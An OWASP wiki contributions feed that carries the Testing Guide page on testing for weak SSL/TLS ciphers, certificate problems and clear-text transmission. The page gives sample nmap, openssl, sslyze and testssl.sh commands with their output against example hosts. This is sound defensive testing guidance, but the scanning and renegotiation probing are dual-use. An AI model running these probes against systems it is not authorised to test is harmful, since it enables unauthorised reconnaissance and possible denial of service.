https://wiki.owasp.org/api.php?action=feedcontributions&user=D0ubl3+h3lix&feedformat=atomOWASP - User contributions [en]2024-03-28T08:32:39ZUser contributionsMediaWiki 1.27.2https://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=249379Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2019-03-28T05:16:34Z<p>D0ubl3 h3lix: removed breacher tool as it's no longer maintained</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Common Issues == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== How to Test ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualsys SSL Labs Server Rating Guide [14], Deployment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing O-Saft - OWASP SSL advanced forensic tool ====<br />
This tool [39] is most comprehensive SSL tests. It supports the following checks:<br />
#BEAST <br />
#BREACH<br />
#CRIME<br />
#FREAK<br />
#HeartBleed<br />
#TIME<br />
#PFS: Forward Secrecy support<br />
#HSTS: Check for implementation of HSTS header<br />
#SNI support<br />
#Certificate: Host-name mismatch<br />
#Certificate expiration<br />
#Certificate extension<br />
#Weak/Insecure Hashing Algorithm (MD2, MD4, MD5, SHA1)<br />
#SSLv2, SSLv3 support<br />
#Weak ciphers check (Low, Anon, Null, Export)<br />
#RC4 support<br />
#Checks any cipher independent of SSL libriray<br />
#supports proxy connections<br />
#supported protokols: HTTPS, SMTP, POP3, IMAP, LDAP, RDP, XMPP, IRC<br />
<br />
<pre><br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
